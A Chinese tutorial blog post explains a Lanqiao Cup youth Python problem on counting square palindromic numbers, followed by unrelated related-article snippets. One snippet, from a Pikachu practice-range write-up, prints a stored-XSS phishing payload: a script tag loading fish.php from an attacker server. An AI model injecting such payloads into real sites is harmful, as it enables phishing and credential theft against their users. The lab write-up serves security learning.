平方回文数-第13届蓝桥杯选拔赛Python真题精选
[导读]:超平老师的Scratch蓝桥杯真题解读系列在推出之后,受到了广大老师和家长的好评,非常感谢各位的认可和厚爱。作为回馈,超平老师计划推出《Python蓝桥杯真题解析100讲》,这是解读系列的第73讲。
平方回文数,本题是2021年11月27日举办的第13届蓝桥杯青少组Python编程选拔赛真题编程部分第4题。题目要求编程输出100到M之间的平方回文数的个数。
先来看看题目的要求吧。
一.题目说明
编程实现:
给定一个正整数M(100 < M < 2000),输出100到M之间(包含M)的平方回文数的个数。
例如:M为150,则在100到150之间的平方回文数有1个,为121,输出1。
输入描述:
输入一个正整数M
输出描述:
输出100到M之间(包含M)的平方回文数的个数
样例输入:
150
样例输出:
1
二.思路分享
这是一道经典的数论题,涉及的知识点包括回文数,循环、列表、递归算法和动态规划等。
很明显,这是典型的枚举算法,将100到M之间所有的数字挨个进行判断即可。所以这里的重点是如何判断给定数字是平方回文数。
这里有两个概念,一个是回文数,一个是平方数。
关于回文数的判断,在之前的蓝桥真题中出现过多次,实现的方法也比较多,具体可以参考《输出回文数-第11届蓝桥杯选拔赛Python真题精选》这篇文章。
对于平方数的判断,最常见的就是使用数学方法,如果一个数n是平方数,那么它的平方根一定是一个整数,比如:
100的平方根是10
121的平方根是11
144的平方根是12
因此我们可以先计算数出n的平方根并转成整数m,再判断m * m是否等于n,如果相等,说明n为平方数。
为了简化代码,我们可以自定义两个函数分别用于判断,然后在循环中调用函数进行判断并统计平方回文数的个数。
思路有了,接下来,我们就进入具体的编程实现环节。
三.编程实现
根据上面的思路分析,我们分3步来编写程序:
-
判断回文数
-
判断平方数
-
统计平方回文数
1. 判断回文数
在Python编程中,最简单的方法就是使用切片运算逆序字符串,再判断原字符串和逆序字符串是否相等。
定义函数如下:
代码非常简单,需要注意的是,n是整数,需要先转成字符串再进行处理。
2. 判断平方数
根据前面的思路分析,自定义函数如下:
代码非常简单,说明两点:
1). 在Python中,**是幂运算,可以使用 **0.5来计算算术平方根,得到的结果是浮点数,使用int()函数将其转成整型;
2). 在计算平方根的时候,也可以使用math模块中的sqrt()函数,效果一样,但需要引入math模块。
3. 统计平方回文数
有了上面定义的两个函数,接下来只需要使用循环挨个判断并统计即可,代码如下:
代码比较简单,注意一个细节,就是循环的起点和终点,根据题目的说明和样例数据,不包括100,但是包括M。
至此,整个程序就全部完成了,你可以输入不同的数字来测试效果啦。
四.总结与思考
本题代码在12行左右,涉及到的知识点包括:
-
循环语句;
-
字符串处理,重点是切片运算;
-
幂运算的应用;
-
自定义函数;
本题代码不多,难度一般,关键点有两个,一是如何判断回文数,二是如何判断平方数。
回文数是编程中的经典问题,判断的方法也比较多,在Python编程中,最简单的就是使用字符串逆序方法,尤其是切片运算,真的是太好用了,一定要熟练掌握。
和其他语言不同的是,Python提供了一个强大的幂运算符**,它用于计算一个数的幂,即底数的指数次方。
例如,𝑎𝑏表示𝑎的𝑏次幂,可以直接使用 a ** b 来表示,它不仅可以用于计算平方、立方,还可以计算平方根、立方根等,非常强大。
你还有什么好的想法和创意吗,也非常欢迎和超平老师分享探讨。
如果你觉得文章对你有帮助,别忘了点赞和转发,予人玫瑰,手有余香😄
需要源码的,可以移步至“超平的编程课”gzh。
相关文章:

平方回文数-第13届蓝桥杯选拔赛Python真题精选
[导读]:超平老师的Scratch蓝桥杯真题解读系列在推出之后,受到了广大老师和家长的好评,非常感谢各位的认可和厚爱。作为回馈,超平老师计划推出《Python蓝桥杯真题解析100讲》,这是解读系列的第73讲。 平方回文数&#…...
位置编码(三) 2D旋转位置编码
Rotary Position Embedding for Vision Transformer https://arxiv.org/abs/2403.13298 Transformer升级之路:4、二维位置的旋转式位置编码 https://kexue.fm/archives/8397 Transformer升级之路:17、多模态位置编码的简单思考 https://kexue.fm/archive…...

1、pikachu靶场之xss钓鱼复现
一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上,如下留言板 2、此时恶意代码已经存入数据库,并存在网页中,当另一个用户打开这个网页…...

弘君资本炒股技巧:股票定向增发是什么意思?是好是坏?
股票定向增发是指已上市的公司向指定的组织或者个人投资者额外发行股份募集资金的融资方法,发行价格为发行前某一阶段的平均价的必定比例,增发的价格不得低于前二十个买卖日股票均价的80%。 例如,个股定增前二十个买卖股票平均价为…...

vue3项目使用pinia状态管理器----通俗易懂
1、首先安装pinia yarn add pinia # 或使用npm npm install pinia 2、在项目的src目录下新建store文件夹,然后store目录下新建index.js / index.ts : 我这里是index,js import { createPinia } from "pinia"// 创建 Pinia 实例 const pinia …...
零基础学Java第二十五天之Lambda表达式
Lambda表达式 简介 Lambda是一个匿名函数(方法), 允许把函数作为一个方法的参数 。利用Lambda表达式可以写出更简洁、更灵活的代码。作为一种更紧凑的代码风格,使Java的语言表达能力得到了提升。一般都是优化匿名内部类 基础语法 无参数、无返回值的抽…...

VSCode配置Lua5.4安装
参考:VSCode 配置 Lua 开发环境(清晰明了)_lua vscode-CSDN博客 1.下载 Lua Binaries Download (sourceforge.net) 2.配置环境变量 解压放到某文件夹: 环境变量: 3.VSCode安装插件 4.配置 5.测试...

CI/CD:持续集成/持续部署
1. 安装docker、docker-compose # 安装Docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i sdownload.docker.commirrors.aliyun.com/docker-ce /…...

ComfyUI工作流网站
https://openart.ai/home https://comfyworkflows.com/ https://civitai.com/...

【机器学习】机器学习基础概念与初步探索
❀机器学习 📒1. 引言📒2. 机器学习概述📒3. 机器学习基础概念🎉2.1 机器学习的分类🎉2.2 数据预处理🌈数据清洗与整合🌈 特征选择和特征工程🌈数据标准化与归一化 📒4. …...
学英语材料:单口喜剧、讲故事、短剧喜剧以及广播剧和播客节目
学习英语节目 有名的单口喜剧、讲故事、短剧喜剧以及广播剧和播客节目: 单口喜剧(Stand-up Comedy) 描述:这是最接近相声的形式,表演者独自一人站在舞台上,用幽默的方式讲述个人经历、观察到的社会现象或…...

Docker Compose使用
Docker-Compose是什么 docker建议我们每一个容器中只运行一个服务,因为doker容器本身占用资源极少,所以最好是将每个服务单独分割开来,但是这样我们又面临了一个问题: 如果我需要同时部署好多个服务,难道要每个服务单独写Docker…...
如何优雅的卸载linux上的todesk
要优雅地卸载Linux上的ToDesk,您可以按照以下步骤操作: 打开终端。 输入以下命令来停止ToDesk服务(如果它正在运行的话): sudo systemctl stop todesk 然后,使用包管理器卸载ToDesk。如果您使用的是apt&…...
【Vue】el-checkbox多选框实现单选效果,选中一个选项则自动取消其他勾选
🤵 作者:coderYYY 🧑 个人简介:前端程序媛,目前主攻web前端,后端辅助,其他技术知识也会偶尔分享🍀欢迎和我一起交流!🚀(评论和私信一般会回&#…...
Linux中使用vi编辑器自动缩进4个字符
平常在Linux操作系统下书写shell脚本内容,或是把写好的shell内容直接复制到vi编辑器中,本来缩进好的字符,会自动变乱,这是因为Linux的vi编辑器默认是缩进8个字符造成,可以使用下面2个方法解决该问题的发生。 1、本用户…...
#笔记#笔记#其他
大鱼论文是一款非常靠谱、方便、值得推荐的论文写作工具。无论是在学术研究中还是在日常写作中,大鱼论文都能够帮助用户轻松完成论文的写作工作。 首先,大鱼论文提供了强大的查重降重功能,能够帮助用户快速定位论文中可能存在的抄袭问题&…...
gtask笔记
1、创建Task GTask *g_task_new (gpointer source_object, GCancellable *cancellable, GAsyncReadyCallback callback, gpointer callback_data); source_object:GObject对象,拥有者 cancellable:可否取消 callback:task完成后…...

【Linux学习】深入探索进程等待与进程退出码和退出信号
文章目录 退出码return退出 进程的等待进程等待的方法 退出码 main函数的返回值:进程的退出码。 一般为0表示成功,非0表示失败。 每一个非0退出码都表示一个失败的原因; echo $?命令 作用:查看进程退出码。…...

Linux:线程
文章目录 前言1. 线程概念1.1 什么是线程1.2 线程比进程更加轻量化1.3 虚拟地址到物理地址的转化物理内存的管理页表 1.4 线程的优点1.5 线程的缺点1.6 线程异常1.7 线程用途 2. 进程 vs 线程3. 线程控制3.1 线程创建3.2 线程退出3.3 线程等待3.4 分离线程3.5 线程取消 4. 线程…...
卡到BUG了:删除重发白得积分(以前删除会扣减积分)
以前是:删除文章,积分减少,点赞积分减少,从回收站恢复文章,积分恢复,点赞数恢复但点赞积分不恢复。也就是删除重发总积分减少点赞的积分,有损失。 今天是:删除文章,积分不…...

网络六边形受到攻击
大家读完觉得有帮助记得关注和点赞!!! 抽象 现代智能交通系统 (ITS) 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 (…...

微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...
脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)
一、数据处理与分析实战 (一)实时滤波与参数调整 基础滤波操作 60Hz 工频滤波:勾选界面右侧 “60Hz” 复选框,可有效抑制电网干扰(适用于北美地区,欧洲用户可调整为 50Hz)。 平滑处理&…...

定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...

页面渲染流程与性能优化
页面渲染流程与性能优化详解(完整版) 一、现代浏览器渲染流程(详细说明) 1. 构建DOM树 浏览器接收到HTML文档后,会逐步解析并构建DOM(Document Object Model)树。具体过程如下: (…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...

前端开发面试题总结-JavaScript篇(一)
文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包(Closure)?闭包有什么应用场景和潜在问题?2.解释 JavaScript 的作用域链(Scope Chain) 二、原型与继承3.原型链是什么?如何实现继承&a…...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...
基于matlab策略迭代和值迭代法的动态规划
经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...